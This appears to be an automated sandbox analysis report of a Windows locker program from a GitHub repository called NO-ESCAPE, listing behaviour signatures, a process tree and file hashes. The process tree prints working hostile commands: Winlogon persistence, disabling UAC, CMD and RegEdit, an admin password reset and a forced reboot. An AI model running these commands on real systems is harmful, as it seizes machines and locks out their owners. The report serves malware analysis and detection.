Resubmissions

06/03/2024, 20:04

240306-ytn5jshc51 1

06/03/2024, 20:03

240306-ysmv4ahc4w 10

Analysis

  • max time kernel
    64s
  • max time network
    71s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/03/2024, 20:03

Errors

Reason
Machine shutdown

General

  • Target

    https://github.com/LocalAlloc/NO-ESCAPE

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/LocalAlloc/NO-ESCAPE
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3612
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff4eb99758,0x7fff4eb99768,0x7fff4eb99778
      2⤵
        PID:3964
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1592 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:2
        2⤵
          PID:3864
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1976 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
          2⤵
            PID:1708
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2180 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
            2⤵
              PID:5000
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2980 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:1
              2⤵
                PID:4708
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3000 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:1
                2⤵
                  PID:4928
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4436 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
                  2⤵
                    PID:4036
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4792 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
                    2⤵
                      PID:4576
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4776 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
                      2⤵
                      • NTFS ADS
                      PID:3712
                  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                    1⤵
                      PID:1048
                    • C:\Windows\System32\rundll32.exe
                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                      1⤵
                        PID:3132
                      • C:\Users\Admin\Downloads\NO-ESCAPE-main\NO-ESCAPE-main\No Escape.exe
                        "C:\Users\Admin\Downloads\NO-ESCAPE-main\NO-ESCAPE-main\No Escape.exe"
                        1⤵
                        • Drops file in Program Files directory
                        • Suspicious use of SetWindowsHookEx
                        PID:2304
                        • C:\Windows\system32\wscript.exe
                          "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\4929.tmp\493A.tmp\493B.vbs //Nologo
                          2⤵
                            PID:540
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
                              3⤵
                                PID:1404
                                • C:\Windows\system32\attrib.exe
                                  attrib +s +h C:\msg.exe
                                  4⤵
                                  • Sets file to hidden
                                  • Views/modifies file attributes
                                  PID:3028
                                • C:\Windows\system32\attrib.exe
                                  attrib +s +h C:\launch.exe
                                  4⤵
                                  • Sets file to hidden
                                  • Views/modifies file attributes
                                  PID:2748
                                • C:\Windows\regedit.exe
                                  regedit /s hello.reg
                                  4⤵
                                  • Runs .reg file with regedit
                                  PID:4620
                                • C:\Windows\system32\reg.exe
                                  reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
                                  4⤵
                                    PID:4588
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
                                    4⤵
                                    • Modifies WinLogon for persistence
                                    PID:4764
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
                                    4⤵
                                    • Sets desktop wallpaper using registry
                                    PID:4572
                                  • C:\Windows\system32\reg.exe
                                    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
                                    4⤵
                                      PID:1048
                                    • C:\Windows\system32\reg.exe
                                      reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                      4⤵
                                      • UAC bypass
                                      PID:472
                                    • C:\Windows\system32\reg.exe
                                      reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
                                      4⤵
                                        PID:4012
                                      • C:\Windows\system32\reg.exe
                                        REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
                                        4⤵
                                        • Disables RegEdit via registry modification
                                        • Modifies registry key
                                        PID:1360
                                      • C:\Windows\system32\net.exe
                                        net user Admin death
                                        4⤵
                                          PID:72
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user Admin death
                                            5⤵
                                              PID:2056
                                          • C:\Windows\system32\shutdown.exe
                                            shutdown /t 0 /r
                                            4⤵
                                              PID:4836
                                      • C:\Windows\system32\LogonUI.exe
                                        "LogonUI.exe" /flags:0x4 /state0:0xa3a27055 /state1:0x41c64e6d
                                        1⤵
                                        • Modifies data under HKEY_USERS
                                        • Suspicious use of SetWindowsHookEx
                                        PID:2572

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      • C:\Program Files (x86)\date.txt

                                        Filesize

                                        120B

                                        MD5

                                        255a8e245b6ad378558b90cbe3dbc3d0

                                        SHA1

                                        6eb73f9f2034c113a2a6b1aab9a440a21928cfc2

                                        SHA256

                                        d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9

                                        SHA512

                                        67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf

                                      • C:\Program Files (x86)\hello.bat

                                        Filesize

                                        1KB

                                        MD5

                                        b86fddd2b764f079615be5d4dc3e158d

                                        SHA1

                                        2510479054db1fe52cc2dcd3c7033d91204cb367

                                        SHA256

                                        2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091

                                        SHA512

                                        915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63

                                      • C:\Program Files (x86)\hello.jpg

                                        Filesize

                                        110KB

                                        MD5

                                        057ea45c364eb2994808a47b118556a2

                                        SHA1

                                        1d48c9c15ea5548af1475b5a369a4f7b8db42858

                                        SHA256

                                        6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836

                                        SHA512

                                        582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760

                                      • C:\Program Files (x86)\hello.reg

                                        Filesize

                                        3KB

                                        MD5

                                        81427e9d5d10657b9edffd22e7b405bb

                                        SHA1

                                        f27ab62f77f827dbb32c66a35ac48006c47f4374

                                        SHA256

                                        bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83

                                        SHA512

                                        b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592

                                      • C:\Program Files (x86)\launch.exe

                                        Filesize

                                        92KB

                                        MD5

                                        b4acc41d0e55b299ffeec11a8a20cf08

                                        SHA1

                                        bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa

                                        SHA256

                                        34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42

                                        SHA512

                                        d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794

                                      • C:\Program Files (x86)\msg.exe

                                        Filesize

                                        9KB

                                        MD5

                                        331a0667b11e02330357565427dc1175

                                        SHA1

                                        d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2

                                        SHA256

                                        fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431

                                        SHA512

                                        1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                                        Filesize

                                        1KB

                                        MD5

                                        1ecadc2c77264e7f691627524a4dde75

                                        SHA1

                                        2be8931696cc70aebb5e057cb5e703e633d06f24

                                        SHA256

                                        ac8646c5921cc72784f142d30e5bc92cfde31ed965afa5cb919e642949099f38

                                        SHA512

                                        ec86d3bee9de8e4e8c1a245ac70ea5e491d22c4f51ddd7b913fd0a678db65d111f18f276ba10d3f98e5d4b34450b2ba9d0745d61e8e8590a8f23710b2241a9d4

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                        Filesize

                                        1KB

                                        MD5

                                        fb0bdabe2ee49475cfad62fdaf71c005

                                        SHA1

                                        f000443d755676b6794f77830dc05d7aff5540f8

                                        SHA256

                                        e3758f8c050d679267e081e33c7f1c953f9942b7dd155aaf817ea7653cd826d9

                                        SHA512

                                        b503320921ff52d826fe62ef3116a4fea831e85690df694fd493c4c3684a7651f1c95e8bedbcb83faa84fe1e9c12434d12f794f51e99d64de563cfe0626a703d

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        4ae30d6d53c2724d244e218d00d799a5

                                        SHA1

                                        a1fbdf96cb7e9d50be5af59124c2c388672ba2c9

                                        SHA256

                                        4874c52367e634b1642f42a93434ce074b0010d74795a3bbef99d5742bb9e0b9

                                        SHA512

                                        1386199eaf9929744c375efae9a6a2d6bc1ae3ec2d1d0c0e1a450a14f945ae9b9e5805c8279cb76c835991862d6340dc3038bbde46b09cdc516683d2ca687aaa

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        5KB

                                        MD5

                                        4016f580db0958d4fe96545f2a3decf8

                                        SHA1

                                        5daa7ee7221a1c9dcbc83a2ee78656375df8c018

                                        SHA256

                                        cececcf208beb5e6ec6a8dd47f5eb39448af08b0861005d81a298a04a31fce0c

                                        SHA512

                                        42820fec2c645c894534aff77a920ed4079013ded9d44cb292151d740883e314509bc5ed1c993f9f01f5d504717855ee42fd614803237c9aac4a56b74556fd75

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        5KB

                                        MD5

                                        7399c7f69161ce7e9fa1ff8be6e9ee60

                                        SHA1

                                        c5591e655ea7cdbfc5599d3695a2313fd457cfd6

                                        SHA256

                                        0ee2250a5ff3190cddbc4144d918cc3ef13a2eb1ecc368891824a54ff1d54401

                                        SHA512

                                        c9716da9fa38f6e60beb72b8c90fd7b49d342a018ca9c1baa72e39a74707271f7185b929359014151cbda655efb666a0b8ddc1ac7fefd925807870923b1f25ec

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        a2d1266b4627653094982a62c2f8bd85

                                        SHA1

                                        f6b45af88702708c911d2063732d895da43ab2c1

                                        SHA256

                                        2d257cf6e9b06e55ba38b40426019b1435c7b6155ec13e91c69fff62ea3cbfbe

                                        SHA512

                                        4eb75a71b20dab1cd89bc7d0d5130f7d1ea7f9dd396969bfc7d2a5fa1372433e7f3548064931a2e1e8647ab6d8481293507be95de8caf79bb4072ce5d98b2ff2

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        129KB

                                        MD5

                                        ad4780266c63f70303be3d327a3af821

                                        SHA1

                                        8b25cd4efa2f00336340485e9d7afbbe5b066ddd

                                        SHA256

                                        fb2f2303dcbd62b09cb543e30a9a4b86ad6089e3a65f0512264ee823c7143735

                                        SHA512

                                        c3e94a9844c61eb50b27ac4be43748959dfa20407ae8462a8e002de6ce9d11a2bae4bd599c356b9e2004fcaaaa7b443c78273157720d5afe4b0ead586f60861c

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                        Filesize

                                        129KB

                                        MD5

                                        c23161d3db19c9ab33c7d0bbde27a358

                                        SHA1

                                        f38213570b2214a8083a07cd80f9fc7d7ad33695

                                        SHA256

                                        b90f32cce8aefa521eed848114f094ec2a3ea310fdef3ea5d85b7e469a6e5066

                                        SHA512

                                        3b266a17c9307a4b874897e64054cfa2693fc8f9cb2b0e85554e7a07665089a560ab56c994ec0bad3a9d3c3a55655ff59fd22c2e75acbb1a5616811f5b1cb489

                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

                                        Filesize

                                        2B

                                        MD5

                                        99914b932bd37a50b983c5e7c90ae93b

                                        SHA1

                                        bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                        SHA256

                                        44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                        SHA512

                                        27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                      • C:\Users\Admin\AppData\Local\Temp\4929.tmp\493A.tmp\493B.vbs

                                        Filesize

                                        588B

                                        MD5

                                        67706bca9ceaba11530e05d351487003

                                        SHA1

                                        3a5ed77f81b14093a5f18c4d46895bc7ea770fee

                                        SHA256

                                        190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f

                                        SHA512

                                        902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598

                                      • C:\Users\Admin\Downloads\NO-ESCAPE-main.zip

                                        Filesize

                                        732KB

                                        MD5

                                        9172731ba3f16b578bcb14000ccbccd4

                                        SHA1

                                        e7ab716661ed88ecf060dc5d53720877b141eac9

                                        SHA256

                                        ce0a32e35b7c79e7e2ffe7bd3c7566a6fb843341268ad50f4a594e56e17a5110

                                        SHA512

                                        3a35995b6dadf408ca69699220120bba5f70fb3c2a850165ab11dad03821c8ce316bf7e9662f8976e0bf659cdb9adf0c8d0d7beca22b59480e4830dc5e02666c

                                      • C:\Users\Admin\Downloads\NO-ESCAPE-main.zip:Zone.Identifier

                                        Filesize

                                        157B

                                        MD5

                                        5a0342fc5cb8b638ec6ac9968492ac45

                                        SHA1

                                        14de4b27eb087d1622dc3d384442f01eb156b56c

                                        SHA256

                                        92392eed085b7fca1e17d67e01debb78493dddc8d0f7475baa958b6961bf1279

                                        SHA512

                                        4880c31267deba7880b18bd968bfa0337697416fdd66d7dc8b115b7ae1f4fdf47a20098e07133682c24a9b47896d96dfcc2250d979696102a3106104ea590dfc